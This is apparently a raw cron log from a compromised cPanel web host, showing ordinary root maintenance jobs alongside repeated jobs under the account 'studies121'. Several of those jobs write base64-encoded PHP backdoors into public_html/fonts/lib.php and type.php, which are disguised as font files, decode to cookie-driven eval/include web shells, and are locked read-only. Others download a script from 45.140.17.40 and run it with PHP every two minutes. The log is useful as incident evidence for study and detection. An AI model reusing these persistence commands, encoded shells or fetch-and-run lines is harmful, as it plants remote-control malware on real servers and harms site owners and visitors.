Sep 12 11:57:01 ip-184-168-122-23 CROND[20763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:57:01 ip-184-168-122-23 CROND[20762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:58:01 ip-184-168-122-23 CROND[20847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:58:01 ip-184-168-122-23 CROND[20849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:58:01 ip-184-168-122-23 CROND[20852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:58:01 ip-184-168-122-23 CROND[20850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:58:01 ip-184-168-122-23 CROND[20851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:59:01 ip-184-168-122-23 CROND[21024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:59:01 ip-184-168-122-23 CROND[21025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:59:01 ip-184-168-122-23 CROND[21027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:59:02 ip-184-168-122-23 CROND[21028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21114]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:00:01 ip-184-168-122-23 CROND[21123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:00:01 ip-184-168-122-23 CROND[21130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21133]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:00:01 ip-184-168-122-23 CROND[21136]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 12 12:01:01 ip-184-168-122-23 CROND[21245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:01:01 ip-184-168-122-23 CROND[21247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:01:01 ip-184-168-122-23 CROND[21248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:01:01 ip-184-168-122-23 CROND[21251]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 12:01:01 ip-184-168-122-23 CROND[21253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:01:01 ip-184-168-122-23 CROND[21252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21251]: starting 0anacron
Sep 12 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21267]: finished 0anacron
Sep 12 12:02:01 ip-184-168-122-23 CROND[21340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:02:01 ip-184-168-122-23 CROND[21344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:02:01 ip-184-168-122-23 CROND[21342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:02:01 ip-184-168-122-23 CROND[21343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:02:01 ip-184-168-122-23 CROND[21345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:03:01 ip-184-168-122-23 CROND[21429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:03:01 ip-184-168-122-23 CROND[21432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:03:01 ip-184-168-122-23 CROND[21431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:03:02 ip-184-168-122-23 CROND[21433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:04:01 ip-184-168-122-23 CROND[21611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:04:01 ip-184-168-122-23 CROND[21613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:04:01 ip-184-168-122-23 CROND[21614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:04:01 ip-184-168-122-23 CROND[21617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:04:01 ip-184-168-122-23 CROND[21618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:05:01 ip-184-168-122-23 CROND[21722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:05:01 ip-184-168-122-23 CROND[21724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:05:01 ip-184-168-122-23 CROND[21728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:05:01 ip-184-168-122-23 CROND[21726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:05:01 ip-184-168-122-23 CROND[21729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:05:01 ip-184-168-122-23 CROND[21727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:05:01 ip-184-168-122-23 CROND[21730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:06:01 ip-184-168-122-23 CROND[21835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:06:01 ip-184-168-122-23 CROND[21837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:06:01 ip-184-168-122-23 CROND[21838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:06:01 ip-184-168-122-23 CROND[21836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:06:01 ip-184-168-122-23 CROND[21839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:07:01 ip-184-168-122-23 CROND[21937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:07:01 ip-184-168-122-23 CROND[21936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:07:01 ip-184-168-122-23 CROND[21934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:07:01 ip-184-168-122-23 CROND[21935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:08:01 ip-184-168-122-23 CROND[22020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:08:01 ip-184-168-122-23 CROND[22022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:08:01 ip-184-168-122-23 CROND[22024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:08:01 ip-184-168-122-23 CROND[22023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:08:01 ip-184-168-122-23 CROND[22025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:09:01 ip-184-168-122-23 CROND[22220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:09:01 ip-184-168-122-23 CROND[22223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:09:01 ip-184-168-122-23 CROND[22224]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
